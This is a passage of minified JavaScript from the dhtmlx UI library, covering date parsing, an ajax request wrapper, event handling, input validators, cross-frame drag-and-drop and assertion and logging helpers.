c=0;c<D.length;c++){switch(o[c]){case\"%d\":case\"%j\":case\"%n\":case\"%m\":case\"%Y\":case\"%H\":case\"%G\":case\"%i\":case\"%s\":case\"%u\":if(!isNaN(D[c])){a[{\"%d\":\"setDate\",\"%j\":\"setDate\",\"%n\":\"setMonth\",\"%m\":\"setMonth\",\"%Y\":\"setFullYear\",\"%H\":\"setHours\",\"%G\":\"setHours\",\"%i\":\"setMinutes\",\"%s\":\"setSeconds\",\"%u\":\"setMilliseconds\"}[o[c]]](Number(D[c])+(o[c]==\"%m\"||o[c]==\"%n\"?-1:0))}break;case\"%M\":case\"%F\":var m=x(D[c].toLowerCase(),E[{\"%M\":\"monthShortName\",\"%F\":\"monthFullName\"}[o[c]]]);if(m>=0){a.setMonth(m)}break;case\"%y\":if(!isNaN(D[c])){var C=Number(D[c]);a.setFullYear(C+(C>50?1900:2000))}break;case\"%g\":case\"%h\":if(!isNaN(D[c])){var C=Number(D[c]);if(C<=12&&C>=0){a.setHours(C+(x(\"pm\",D)>=0?(C==12?0:12):(C==12?-12:0)))}}break;case\"%P\":if(window.dhx4.temp_calendar!=null){window.dhx4.temp_calendar.tz=D[c]}break}}return a}}if(typeof(window.dhx4.ajax)==\"undefined\"){window.dhx4.ajax={cache:false,method:\"get\",parse:function(a){if(typeof a!==\"string\"){return a}a=a.replace(/^[\\s]+/,\"\");if(window.DOMParser&&!dhx4.isIE){var c=(new window.DOMParser()).parseFromString(a,\"text/xml\")}else{if(window.ActiveXObject!==window.undefined){var c=new window.ActiveXObject(\"Microsoft.XMLDOM\");c.async=\"false\";c.loadXML(a)}}return c},xmltop:function(a,h,g){if(typeof h.status==\"undefined\"||h.status<400){xml=(!h.responseXML)?dhx4.ajax.parse(h.responseText||h):(h.responseXML||h);if(xml&&xml.documentElement!==null){try{if(!xml.getElementsByTagName(\"parsererror\").length){return xml.getElementsByTagName(a)[0]}}catch(c){}}}if(g!==-1){dhx4.callEvent(\"onLoadXMLError\",[\"Incorrect XML\",arguments[1],g])}return document.createElement(\"DIV\")},xpath:function(g,a){if(!a.nodeName){a=a.responseXML||a}if(dhx4.isIE){try{return a.selectNodes(g)||[]}catch(l){return[]}}else{var h=[];var m;var c=(a.ownerDocument||a).evaluate(g,a,null,XPathResult.ANY_TYPE,null);while(m=c.iterateNext()){h.push(m)}return h}},query:function(a){dhx4.ajax._call((a.method||\"GET\"),a.url,a.data||\"\",(a.async||true),a.callback,null,a.headers)},get:function(a,c){return this._call(\"GET\",a,null,true,c)},getSync:function(a){return this._call(\"GET\",a,null,false)},put:function(c,a,e){return this._call(\"PUT\",c,a,true,e)},del:function(c,a,e){return this._call(\"DELETE\",c,a,true,e)},post:function(c,a,e){if(arguments.length==1){a=\"\"}else{if(arguments.length==2&&(typeof(a)==\"function\"||typeof(window[a])==\"function\")){e=a;a=\"\"}else{a=String(a)}}return this._call(\"POST\",c,a,true,e)},postSync:function(c,a){a=(a==null?\"\":String(a));return this._call(\"POST\",c,a,false)},getLong:function(a,c){this._call(\"GET\",a,null,true,c,{url:a})},postLong:function(c,a,e){if(arguments.length==2&&(typeof(a)==\"function\"||typeof(window[a]))){e=a;a=\"\"}this._call(\"POST\",c,a,true,e,{url:c,postData:a})},_call:function(a,c,e,h,m,q,g){var o=(window.XMLHttpRequest&&!dhx4.isIE?new XMLHttpRequest():new ActiveXObject(\"Microsoft.XMLHTTP\"));var l=(navigator.userAgent.match(/AppleWebKit/)!=null&&navigator.userAgent.match(/Qt/)!=null&&navigator.userAgent.match(/Safari/)!=null);if(h==true){o.onreadystatechange=function(){if((o.readyState==4)||(l==true&&o.readyState==3)){if(o.status!=200||o.responseText==\"\"){if(!dhx4.callEvent(\"onAjaxError\",[{xmlDoc:o,filePath:c,async:h}])){return}}window.setTimeout(function(){if(typeof(m)==\"function\"){m.apply(window,[{xmlDoc:o,filePath:c,async:h}])}if(q!=null){if(typeof(q.postData)!=\"undefined\"){dhx4.ajax.postLong(q.url,q.postData,m)}else{dhx4.ajax.getLong(q.url,m)}}m=null;o=null},1)}}}if(a==\"GET\"&&this.cache!=true){c+=(c.indexOf(\"?\")>=0?\"&\":\"?\")+\"dhxr\"+new Date().getTime()+\"=1\"}o.open(a,c,h);if(g!=null){for(var n in g){o.setRequestHeader(n,g[n])}}else{if(a==\"POST\"||a==\"PUT\"||a==\"DELETE\"){o.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\")}else{if(a==\"GET\"){e=null}}}o.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\");o.send(e);return{xmlDoc:o,filePath:c,async:h}}}}if(typeof(window.dhx4._enableDataLoading)==\"undefined\"){window.dhx4._enableDataLoading=function(m,e,l,h,n){if(n==\"clear\"){for(var c in m._dhxdataload){m._dhxdataload[c]=null;delete m._dhxdataload[c]}m._loadData=null;m._dhxdataload=null;m.load=null;m.loadStruct=null;m=null;return}m._dhxdataload={initObj:e,xmlToJson:l,xmlRootTag:h,onBeforeXLS:null};m._loadData=function(u,v,w){if(arguments.length==2){w=v;v=null}var s=null;if(arguments.length==3){w=arguments[2]}if(typeof(u)==\"string\"){var r=u.replace(/^\\s{1,}/,\"\").replace(/\\s{1,}$/,\"\");var A=new RegExp(\"^<\"+this._dhxdataload.xmlRootTag);if(A.test(r.replace(/^<\\?xml[^\\?]*\\?>\\s*/,\"\"))){s=dhx4.ajax.parse(u);if(s!=null){s=this[this._dhxdataload.xmlToJson].apply(this,[s])}}if(s==null&&(r.match(/^[\\s\\S]*{[.\\s\\S]*}[\\s\\S]*$/)!=null||r.match(/^[\\s\\S]*\\[[.\\s\\S]*\\][\\s\\S]*$/)!=null)){s=dhx4.s2j(r)}if(s==null){this.callEvent(\"onXLS\",[]);var q=[];if(typeof(this._dhxdataload.onBeforeXLS)==\"function\"){var r=this._dhxdataload.onBeforeXLS.apply(this,[u]);if(r!=null&&typeof(r)==\"object\"){if(r.url!=null){u=r.url}if(r.params!=null){for(var x in r.params){q.push(x+\"=\"+encodeURIComponent(r.params[x]))}}}}var y=this;var o=function(a){var C=null;if((a.xmlDoc.getResponseHeader(\"Content-Type\")||\"\").search(/xml/gi)>=0||(a.xmlDoc.responseText.replace(/^\\s{1,}/,\"\")).match(/^</)!=null){C=y[y._dhxdataload.xmlToJson].apply(y,[a.xmlDoc.responseXML])}else{C=dhx4.s2j(a.xmlDoc.responseText)}if(C!=null){y[y._dhxdataload.initObj].apply(y,[C,u])}y.callEvent(\"onXLE\",[]);if(w!=null){if(typeof(w)==\"function\"){w.apply(y,[])}else{if(typeof(window[w])==\"function\"){window[w].apply(y,[])}}}o=w=null;C=a=y=null};q=q.join(\"&\")+(typeof(v)==\"string\"?\"&\"+v:\"\");if(dhx4.ajax.method==\"post\"){dhx4.ajax.post(u,q,o)}else{if(dhx4.ajax.method==\"get\"){dhx4.ajax.get(u+(q.length>0?(u.indexOf(\"?\")>0?\"&\":\"?\")+q:\"\"),o)}}return}}else{if(typeof(u.documentElement)==\"object\"||(typeof(u.tagName)!=\"undefined\"&&typeof(u.getElementsByTagName)!=\"undefined\"&&u.getElementsByTagName(this._dhxdataload.xmlRootTag).length>0)){s=this[this._dhxdataload.xmlToJson].apply(this,[u])}else{s=window.dhx4._copyObj(u)}}if(s!=null){this[this._dhxdataload.initObj].apply(this,[s])}if(w!=null){if(typeof(w)==\"function\"){w.apply(this,[])}else{if(typeof(window[w])==\"function\"){window[w].apply(this,[])}}w=null}};if(n!=null){var g={struct:\"loadStruct\",data:\"load\"};for(var c in n){if(n[c]==true){m[g[c]]=function(){return this._loadData.apply(this,arguments)}}}}m=null}}if(typeof(window.dhx4._eventable)==\"undefined\"){window.dhx4._eventable=function(a,c){if(c==\"clear\"){a.detachAllEvents();a.dhxevs=null;a.attachEvent=null;a.detachEvent=null;a.checkEvent=null;a.callEvent=null;a.detachAllEvents=null;a=null;return}a.dhxevs={data:{}};a.attachEvent=function(e,h){e=String(e).toLowerCase();if(!this.dhxevs.data[e]){this.dhxevs.data[e]={}}var g=window.dhx4.newId();this.dhxevs.data[e][g]=h;return g};a.detachEvent=function(l){for(var g in this.dhxevs.data){var h=0;for(var e in this.dhxevs.data[g]){if(e==l){this.dhxevs.data[g][e]=null;delete this.dhxevs.data[g][e]}else{h++}}if(h==0){this.dhxevs.data[g]=null;delete this.dhxevs.data[g]}}};a.checkEvent=function(e){e=String(e).toLowerCase();return(this.dhxevs.data[e]!=null)};a.callEvent=function(g,l){g=String(g).toLowerCase();if(this.dhxevs.data[g]==null){return true}var h=true;for(var e in this.dhxevs.data[g]){h=this.dhxevs.data[g][e].apply(this,l)&&h}return h};a.detachAllEvents=function(){for(var g in this.dhxevs.data){for(var e in this.dhxevs.data[g]){this.dhxevs.data[g][e]=null;delete this.dhxevs.data[g][e]}this.dhxevs.data[g]=null;delete this.dhxevs.data[g]}};a=null};dhx4._eventable(dhx4)}if(!window.dhtmlxValidation){window.dhtmlxValidation=function(){};dhtmlxValidation.prototype={isEmpty:function(a){return a==\"\"},isNotEmpty:function(a){return(a instanceof Array?a.length>0:!a==\"\")},isValidBoolean:function(a){return !!a.toString().match(/^(0|1|true|false)$/)},isValidEmail:function(a){return !!a.toString().match(/(^[a-z0-9]([0-9a-z\\-_\\.]*)@([0-9a-z_\\-\\.]*)([.][a-z]{3})$)|(^[a-z]([0-9a-z_\\.\\-]*)@([0-9a-z_\\-\\.]*)(\\.[a-z]{2,4})$)/i)},isValidInteger:function(a){return !!a.toString().match(/(^-?\\d+$)/)},isValidNumeric:function(a){return !!a.toString().match(/(^-?\\d\\d*[\\.|,]\\d*$)|(^-?\\d\\d*$)|(^-?[\\.|,]\\d\\d*$)/)},isValidAplhaNumeric:function(a){return !!a.toString().match(/^[_\\-a-z0-9]+$/gi)},isValidDatetime:function(c){var a=c.toString().match(/^(\\d{4})-(\\d{2})-(\\d{2})\\s(\\d{2}):(\\d{2}):(\\d{2})$/);return a&&!!(a[1]<=9999&&a[2]<=12&&a[3]<=31&&a[4]<=59&&a[5]<=59&&a[6]<=59)||false},isValidDate:function(a){var c=a.toString().match(/^(\\d{4})-(\\d{2})-(\\d{2})$/);return c&&!!(c[1]<=9999&&c[2]<=12&&c[3]<=31)||false},isValidTime:function(c){var a=c.toString().match(/^(\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/);return a&&!!(a[1]<=24&&a[2]<=59&&a[3]<=59)||false},isValidIPv4:function(a){var c=a.toString().match(/^(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})$/);return c&&!!(c[1]<=255&&c[2]<=255&&c[3]<=255&&c[4]<=255)||false},isValidCurrency:function(a){return a.toString().match(/^\\$?\\s?\\d+?([\\.,\\,]?\\d+)?\\s?\\$?$/)&&true||false},isValidSSN:function(a){return a.toString().match(/^\\d{3}\\-?\\d{2}\\-?\\d{4}$/)&&true||false},isValidSIN:function(a){return a.toString().match(/^\\d{9}$/)&&true||false}};dhtmlxValidation=new dhtmlxValidation()}if(typeof(window.dhtmlx)==\"undefined\"){window.dhtmlx={extend:function(e,c){for(var g in c){if(!e[g]){e[g]=c[g]}}return e},extend_api:function(a,g,e){var c=window[a];if(!c){return}window[a]=function(m){if(m&&typeof m==\"object\"&&!m.tagName){var l=c.apply(this,(g._init?g._init(m):arguments));for(var h in dhtmlx){if(g[h]){this[g[h]](dhtmlx[h])}}for(var h in m){if(g[h]){this[g[h]](m[h])}else{if(h.indexOf(\"on\")===0){this.attachEvent(h,m[h])}}}}else{var l=c.apply(this,arguments)}if(g._patch){g._patch(this)}return l||this};window[a].prototype=c.prototype;if(e){dhtmlx.extend(window[a].prototype,e)}},url:function(a){if(a.indexOf(\"?\")!=-1){return\"&\"}else{return\"?\"}}}}function dhtmlDragAndDropObject(){if(window.dhtmlDragAndDrop){return window.dhtmlDragAndDrop}this.lastLanding=0;this.dragNode=0;this.dragStartNode=0;this.dragStartObject=0;this.tempDOMU=null;this.tempDOMM=null;this.waitDrag=0;window.dhtmlDragAndDrop=this;return this}dhtmlDragAndDropObject.prototype.removeDraggableItem=function(a){a.onmousedown=null;a.dragStarter=null;a.dragLanding=null};dhtmlDragAndDropObject.prototype.addDraggableItem=function(a,c){a.onmousedown=this.preCreateDragCopy;a.dragStarter=c;this.addDragLanding(a,c)};dhtmlDragAndDropObject.prototype.addDragLanding=function(a,c){a.dragLanding=c};dhtmlDragAndDropObject.prototype.preCreateDragCopy=function(a){if((a||window.event)&&(a||event).button==2){return}if(window.dhtmlDragAndDrop.waitDrag){window.dhtmlDragAndDrop.waitDrag=0;document.body.onmouseup=window.dhtmlDragAndDrop.tempDOMU;document.body.onmousemove=window.dhtmlDragAndDrop.tempDOMM;return false}if(window.dhtmlDragAndDrop.dragNode){window.dhtmlDragAndDrop.stopDrag(a)}window.dhtmlDragAndDrop.waitDrag=1;window.dhtmlDragAndDrop.tempDOMU=document.body.onmouseup;window.dhtmlDragAndDrop.tempDOMM=document.body.onmousemove;window.dhtmlDragAndDrop.dragStartNode=this;window.dhtmlDragAndDrop.dragStartObject=this.dragStarter;document.body.onmouseup=window.dhtmlDragAndDrop.preCreateDragCopy;document.body.onmousemove=window.dhtmlDragAndDrop.callDrag;window.dhtmlDragAndDrop.downtime=new Date().valueOf();if((a)&&(a.preventDefault)){a.preventDefault();return false}return false};dhtmlDragAndDropObject.prototype.callDrag=function(g){if(!g){g=window.event}dragger=window.dhtmlDragAndDrop;if((new Date()).valueOf()-dragger.downtime<100){return}if(!dragger.dragNode){if(dragger.waitDrag){dragger.dragNode=dragger.dragStartObject._createDragNode(dragger.dragStartNode,g);if(!dragger.dragNode){return dragger.stopDrag()}dragger.dragNode.onselectstart=function(){return false};dragger.gldragNode=dragger.dragNode;document.body.appendChild(dragger.dragNode);document.body.onmouseup=dragger.stopDrag;dragger.waitDrag=0;dragger.dragNode.pWindow=window;dragger.initFrameRoute()}else{return dragger.stopDrag(g,true)}}if(dragger.dragNode.parentNode!=window.document.body&&dragger.gldragNode){var a=dragger.gldragNode;if(dragger.gldragNode.old){a=dragger.gldragNode.old}a.parentNode.removeChild(a);var c=dragger.dragNode.pWindow;if(a.pWindow&&a.pWindow.dhtmlDragAndDrop.lastLanding){a.pWindow.dhtmlDragAndDrop.lastLanding.dragLanding._dragOut(a.pWindow.dhtmlDragAndDrop.lastLanding)}if(_isIE){var l=document.createElement(\"Div\");l.innerHTML=dragger.dragNode.outerHTML;dragger.dragNode=l.childNodes[0]}else{dragger.dragNode=dragger.dragNode.cloneNode(true)}dragger.dragNode.pWindow=window;dragger.gldragNode.old=dragger.dragNode;document.body.appendChild(dragger.dragNode);c.dhtmlDragAndDrop.dragNode=dragger.dragNode}dragger.dragNode.style.left=g.clientX+15+(dragger.fx?dragger.fx*(-1):0)+(document.body.scrollLeft||document.documentElement.scrollLeft)+\"px\";dragger.dragNode.style.top=g.clientY+3+(dragger.fy?dragger.fy*(-1):0)+(document.body.scrollTop||document.documentElement.scrollTop)+\"px\";if(!g.srcElement){var h=g.target}else{h=g.srcElement}dragger.checkLanding(h,g)};dhtmlDragAndDropObject.prototype.calculateFramePosition=function(h){if(window.name){var e=parent.frames[window.name].frameElement.offsetParent;var g=0;var c=0;while(e){g+=e.offsetLeft;c+=e.offsetTop;e=e.offsetParent}if((parent.dhtmlDragAndDrop)){var a=parent.dhtmlDragAndDrop.calculateFramePosition(1);g+=a.split(\"_\")[0]*1;c+=a.split(\"_\")[1]*1}if(h){return g+\"_\"+c}else{this.fx=g}this.fy=c}return\"0_0\"};dhtmlDragAndDropObject.prototype.checkLanding=function(c,a){if((c)&&(c.dragLanding)){if(this.lastLanding){this.lastLanding.dragLanding._dragOut(this.lastLanding)}this.lastLanding=c;this.lastLanding=this.lastLanding.dragLanding._dragIn(this.lastLanding,this.dragStartNode,a.clientX,a.clientY,a);this.lastLanding_scr=(_isIE?a.srcElement:a.target)}else{if((c)&&(c.tagName!=\"BODY\")){this.checkLanding(c.parentNode,a)}else{if(this.lastLanding){this.lastLanding.dragLanding._dragOut(this.lastLanding,a.clientX,a.clientY,a)}this.lastLanding=0;if(this._onNotFound){this._onNotFound()}}}};dhtmlDragAndDropObject.prototype.stopDrag=function(c,g){dragger=window.dhtmlDragAndDrop;if(!g){dragger.stopFrameRoute();var a=dragger.lastLanding;dragger.lastLanding=null;if(a){a.dragLanding._drag(dragger.dragStartNode,dragger.dragStartObject,a,(_isIE?event.srcElement:c.target))}}dragger.lastLanding=null;if((dragger.dragNode)&&(dragger.dragNode.parentNode==document.body)){dragger.dragNode.parentNode.removeChild(dragger.dragNode)}dragger.dragNode=0;dragger.gldragNode=0;dragger.fx=0;dragger.fy=0;dragger.dragStartNode=0;dragger.dragStartObject=0;document.body.onmouseup=dragger.tempDOMU;document.body.onmousemove=dragger.tempDOMM;dragger.tempDOMU=null;dragger.tempDOMM=null;dragger.waitDrag=0};dhtmlDragAndDropObject.prototype.stopFrameRoute=function(g){if(g){window.dhtmlDragAndDrop.stopDrag(1,1)}for(var a=0;a<window.frames.length;a++){try{if((window.frames[a]!=g)&&(window.frames[a].dhtmlDragAndDrop)){window.frames[a].dhtmlDragAndDrop.stopFrameRoute(window)}}catch(c){}}try{if((parent.dhtmlDragAndDrop)&&(parent!=window)&&(parent!=g)){parent.dhtmlDragAndDrop.stopFrameRoute(window)}}catch(c){}};dhtmlDragAndDropObject.prototype.initFrameRoute=function(g,h){if(g){window.dhtmlDragAndDrop.preCreateDragCopy();window.dhtmlDragAndDrop.dragStartNode=g.dhtmlDragAndDrop.dragStartNode;window.dhtmlDragAndDrop.dragStartObject=g.dhtmlDragAndDrop.dragStartObject;window.dhtmlDragAndDrop.dragNode=g.dhtmlDragAndDrop.dragNode;window.dhtmlDragAndDrop.gldragNode=g.dhtmlDragAndDrop.dragNode;window.document.body.onmouseup=window.dhtmlDragAndDrop.stopDrag;window.waitDrag=0;if(((!_isIE)&&(h))&&((!_isFF)||(_FFrv<1.8))){window.dhtmlDragAndDrop.calculateFramePosition()}}try{if((parent.dhtmlDragAndDrop)&&(parent!=window)&&(parent!=g)){parent.dhtmlDragAndDrop.initFrameRoute(window)}}catch(c){}for(var a=0;a<window.frames.length;a++){try{if((window.frames[a]!=g)&&(window.frames[a].dhtmlDragAndDrop)){window.frames[a].dhtmlDragAndDrop.initFrameRoute(window,((!g||h)?1:0))}}catch(c){}}};_isFF=false;_isIE=false;_isOpera=false;_isKHTML=false;_isMacOS=false;_isChrome=false;_FFrv=false;_KHTMLrv=false;_OperaRv=false;if(navigator.userAgent.indexOf(\"Macintosh\")!=-1){_isMacOS=true}if(navigator.userAgent.toLowerCase().indexOf(\"chrome\")>-1){_isChrome=true}if((navigator.userAgent.indexOf(\"Safari\")!=-1)||(navigator.userAgent.indexOf(\"Konqueror\")!=-1)){_KHTMLrv=parseFloat(navigator.userAgent.substr(navigator.userAgent.indexOf(\"Safari\")+7,5));if(_KHTMLrv>525){_isFF=true;_FFrv=1.9}else{_isKHTML=true}}else{if(navigator.userAgent.indexOf(\"Opera\")!=-1){_isOpera=true;_OperaRv=parseFloat(navigator.userAgent.substr(navigator.userAgent.indexOf(\"Opera\")+6,3))}else{if(navigator.appName.indexOf(\"Microsoft\")!=-1){_isIE=true;if((navigator.appVersion.indexOf(\"MSIE 8.0\")!=-1||navigator.appVersion.indexOf(\"MSIE 9.0\")!=-1||navigator.appVersion.indexOf(\"MSIE 10.0\")!=-1||document.documentMode>7)&&document.compatMode!=\"BackCompat\"){_isIE=8}}else{if(navigator.appName==\"Netscape\"&&navigator.userAgent.indexOf(\"Trident\")!=-1){_isIE=8}else{_isFF=true;_FFrv=parseFloat(navigator.userAgent.split(\"rv:\")[1])}}}}if(typeof(window.dhtmlxEvent)==\"undefined\"){function dhtmlxEvent(c,e,a){if(c.addEventListener){c.addEventListener(e,a,false)}else{if(c.attachEvent){c.attachEvent(\"on\"+e,a)}}}}if(dhtmlxEvent.touchDelay==null){dhtmlxEvent.touchDelay=2000}if(typeof(dhtmlxEvent.initTouch)==\"undefined\"){dhtmlxEvent.initTouch=function(){var g;var h;var c,a;dhtmlxEvent(document.body,\"touchstart\",function(l){h=l.touches[0].target;c=l.touches[0].clientX;a=l.touches[0].clientY;g=window.setTimeout(e,dhtmlxEvent.touchDelay)});function e(){if(h){var l=document.createEvent(\"HTMLEvents\");l.initEvent(\"dblclick\",true,true);h.dispatchEvent(l);g=h=null}}dhtmlxEvent(document.body,\"touchmove\",function(l){if(g){if(Math.abs(l.touches[0].clientX-c)>50||Math.abs(l.touches[0].clientY-a)>50){window.clearTimeout(g);g=h=false}}});dhtmlxEvent(document.body,\"touchend\",function(l){if(g){window.clearTimeout(g);g=h=false}});dhtmlxEvent.initTouch=function(){}}}if(!window.dhtmlx){dhtmlx={}}dhtmlx.assert=function(c,a){if(!c){dhtmlx.error(a)}};dhtmlx.assert_enabled=function(){return false};dhtmlx.assert_event=function(l,e){if(!l._event_check){l._event_check={};l._event_check_size={}}for(var c in e){l._event_check[c.toLowerCase()]=e[c];var h=-1;for(var g in e[c]){h++}l._event_check_size[c.toLowerCase()]=h}};dhtmlx.assert_method_info=function(h,c,g,l){var a=[];for(var e=0;e<l.length;e++){a.push(l[e][0]+\" : \"+l[e][1]+\"\\n   \"+l[e][2].describe()+(l[e][3]?\"; optional\":\"\"))}return h.name+\".\"+c+\"\\n\"+g+\"\\n Arguments:\\n - \"+a.join(\"\\n - \")};dhtmlx.assert_method=function(e,a){for(var c in a){dhtmlx.assert_method_process(e,c,a[c].descr,a[c].args,(a[c].min||99),a[c].skip)}};dhtmlx.assert_method_process=function(l,c,h,m,e,g){var a=l[c];if(!g){l[c]=function(){if(arguments.length!=m.length&&arguments.length<e){dhtmlx.log(\"warn\",\"Incorrect count of parameters\\n\"+l[c].describe()+\"\\n\\nExpecting \"+m.length+\" but have only \"+arguments.length)}else{for(var n=0;n<m.length;n++){if(!m[n][3]&&!m[n][2](arguments[n])){dhtmlx.log(\"warn\",\"Incorrect method call\\n\"+l[c].describe()+\"\\n\\nActual value of \"+(n+1)+\" parameter: {\"+(typeof arguments[n])+\"} \"+arguments[n])}}}return a.apply(this,arguments)}}l[c].describe=function(){return dhtmlx.assert_method_info(l,c,h,m)}};dhtmlx.assert_event_call=function(e,c,a){if(e._event_check){if(!e._event_check[c]){dhtmlx.log(\"warn\",\"Not expected event call :\"+c)}else{if(dhtmlx.isNotDefined(a)){dhtmlx.log(\"warn\",\"Event without parameters :\"+c)}else{if(e._event_check_size[c]!=a.length){dhtmlx.log(\"warn\",\"Incorrect event call, expected \"+e._event_check_size[c]+\" parameter(s), but have \"+a.length+\" parameter(s), for \"+c+\" event\")}}}}};dhtmlx.assert_event_attach=function(c,a){if(c._event_check&&!c._event_check[a]){dhtmlx.log(\"warn\",\"Unknown event name: \"+a)}};dhtmlx.assert_property=function(c,a){if(!c._settings_check){c._settings_check={}}dhtmlx.extend(c._settings_check,a)};dhtmlx.assert_check=function(e,c){if(typeof e==\"object\"){for(var a in e){dhtmlx.assert_settings(a,e[a],c)}}};dhtmlx.assert_settings=function(n,h,g){g=g||this._settings_check;if(g){if(!g[n]){return dhtmlx.log(\"warn\",\"Unknown propery: \"+n)}var m=\"\";var c=\"\";var a=false;for(var e=0;e<g[n].length;e++){var l=g[n][e];if(typeof l==\"string\"){continue}if(typeof l==\"function\"){a=a||l(h)}else{if(typeof l==\"object\"&&typeof l[1]==\"function\"){a=a||l[1](h);if(a&&l[2]){dhtmlx.assert_check(h,l[2])}}}if(a){break}}if(!a){dhtmlx.log(\"warn\",\"Invalid configuration\\n\"+dhtmlx.assert_info(n,g)+\"\\nActual value: {\"+(typeof h)+\"} \"+h)}}};dhtmlx.assert_info=function(c,l){var a=l[c];var h=\"\";var g=[];for(var e=0;e<a.length;e++){if(typeof rule==\"string\"){h=a[e]}else{if(a[e].describe){g.push(a[e].describe())}else{if(a[e][1]&&a[e][1].describe){g.push(a[e][1].describe())}}}}return\"Property: \"+c+\", \"+h+\" \\nExpected value: \\n - \"+g.join(\"\\n - \")};if(dhtmlx.assert_enabled()){dhtmlx.assert_rule_color=function(a){if(typeof a!=\"string\"){return false}if(a.indexOf(\"#\")!==0){return false}if(a.substr(1).replace(/[0-9A-F]/gi,\"\")!==\"\"){return false}return true};dhtmlx.assert_rule_color.describe=function(){return\"{String} Value must start from # and contain hexadecimal code of color\"};dhtmlx.assert_rule_template=function(a){if(typeof a==\"function\"){return true}if(typeof a==\"string\"){return true}return false};dhtmlx.assert_rule_template.describe=function(){return\"{Function},{String} Value must be a function which accepts data object and return text string, or a sting with optional template markers\"};dhtmlx.assert_rule_boolean=function(a){if(typeof a==\"boolean\"){return true}return false};dhtmlx.assert_rule_boolean.describe=function(){return\"{Boolean} true or false\"};dhtmlx.assert_rule_object=function(a,c){if(typeof a==\"object\"){return true}return false};dhtmlx.assert_rule_object.describe=function(){return\"{Object} Configuration object\"};dhtmlx.assert_rule_string=function(a){if(typeof a==\"string\"){return true}return false};dhtmlx.assert_rule_string.describe=function(){return\"{String} Plain string\"};dhtmlx.assert_rule_htmlpt=function(a){return !!dhtmlx.toNode(a)};dhtmlx.assert_rule_htmlpt.describe=function(){return\"{Object},{String} HTML node or ID of HTML Node\"};dhtmlx.assert_rule_notdocumented=function(a){return false};dhtmlx.assert_rule_notdocumented.describe=function(){return\"This options wasn't documented\"};dhtmlx.assert_rule_key=function(c){var a=function(e){return c[e]};a.describe=function(){var g=[];for(var e in c){g.push(e)}return\"{String} can take one of next values: \"+g.join(\", \")};return a};dhtmlx.assert_rule_dimension=function(a){if(a*1==a&&!isNaN(a)&&a>=0){return true}return false};dhtmlx.assert_rule_dimension.describe=function(){return\"{Integer} value must be a positive number\"};dhtmlx.assert_rule_number=function(a){if(typeof a==\"number\"){return true}return false};dhtmlx.assert_rule_number.describe=function(){return\"{Integer} value must be a number\"};dhtmlx.assert_rule_function=function(a){if(typeof a==\"function\"){return true}return false};dhtmlx.assert_rule_function.describe=function(){return\"{Function} value must be a custom function\"};dhtmlx.assert_rule_any=function(a){return true};dhtmlx.assert_rule_any.describe=function(){return\"Any value\"};dhtmlx.assert_rule_mix=function(e,c){var g=function(a){if(e(a)||c(a)){return true}return false};g.describe=function(){return e.describe()};return g}}dhtmlx.codebase=\"./\";dhtmlx.copy=function(c){var a=dhtmlx.copy._function;a.prototype=c;return new a()};dhtmlx.copy._function=function(){};dhtmlx.extend=function(c,a){for(var e in a){c[e]=a[e]}if(dhtmlx.assert_enabled()&&a._assert){c._assert();c._assert=null}dhtmlx.assert(c,\"Invalid nesting target\");dhtmlx.assert(a,\"Invalid nesting source\");if(a._init){c._init()}return c};dhtmlx.proto_extend=function(){var l=arguments;var e=l[0];var c=[];for(var h=l.length-1;h>0;h--){if(typeof l[h]==\"function\"){l[h]=l[h].prototype}for(var g in l[h]){if(g==\"_init\"){c.push(l[h][g])}else{if(!e[g]){e[g]=l[h][g]}}}}if(l[0]._init){c.push(l[0]._init)}e._init=function(){for(var m=0;m<c.length;m++){c[m].apply(this,arguments)}};e.base=l[1];var a=function(m){this._init(m);if(this._parseSettings){this._parseSettings(m,this.defaults)}};a.prototype=e;e=l=null;return a};dhtmlx.bind=function(c,a){return function(){return c.apply(a,arguments)}};dhtmlx.require=function(a){if(!dhtmlx._modules[a]){dhtmlx.assert(dhtmlx.ajax,\"load module is required\");dhtmlx.exec(dhtmlx.ajax().sync().get(dhtmlx.codebase+a).responseText);dhtmlx._modules[a]=true}};dhtmlx._modules={};dhtmlx.exec=function(code){if(window.execScript){window.execScript(code)}else{window.eval(code)}};dhtmlx.methodPush=function(a,e,c){return function(){var g=false;g=a[e].apply(a,arguments);return g}};dhtmlx.isNotDefined=function(c){return typeof c==\"undefined\"};dhtmlx.delay=function(g,c,e,a){setTimeout(function(){var h=g.apply(c,e);g=c=e=null;return h},a||1)};dhtmlx.uid=function(){if(!this._seed){this._seed=(new Date).valueOf()}this._seed++;return this._seed};dhtmlx.toNode=function(a){if(typeof a==\"string\"){return document.getElementById(a)}return a};dhtmlx.toArray=function(a){return dhtmlx.extend((a||[]),dhtmlx.PowerArray)};dhtmlx.toFunctor=function(str){return(typeof(str)==\"string\")?eval(str):str};dhtmlx._events={};dhtmlx.event=function(g,e,a,c){g=dhtmlx.toNode(g);var h=dhtmlx.uid();dhtmlx._events[h]=[g,e,a];if(c){a=dhtmlx.bind(a,c)}if(g.addEventListener){g.addEventListener(e,a,false)}else{if(g.attachEvent){g.attachEvent(\"on\"+e,a)}}return h};dhtmlx.eventRemove=function(c){if(!c){return}dhtmlx.assert(this._events[c],\"Removing non-existing event\");var a=dhtmlx._events[c];if(a[0].removeEventListener){a[0].removeEventListener(a[1],a[2],false)}else{if(a[0].detachEvent){a[0].detachEvent(\"on\"+a[1],a[2])}}delete this._events[c]};dhtmlx.log=function(c,e,a){if(window.console&&console.log){c=c.toLowerCase();if(window.console[c]){window.console[c](e||\"unknown error\")}else{window.console.log(c+\": \"+e)}if(a){window.console.log(a)}}};dhtmlx.log_full_time=function(a){dhtmlx._start_time_log=new Date();dhtmlx.log(\"Info\",\"Timing start [\"+a+\"]\");window.setTimeout(function(){var c=new Date();dhtmlx.log(\"Info\",\"Timing end [\"+a+\"]:\"+(c.valueOf()-dhtmlx._start_time_log.valueOf())/1000+\"s\")},1)};dhtmlx.log_time=function(a){var e=\"_start_time_log\"+a;if(!dhtmlx[e]){dhtmlx[e]=new Date();dhtmlx.log(\"Info\",\"Timing start [\"+a+\"]\")}else{var c=new Date();dhtmlx.log(\"Info\",\"Timing end 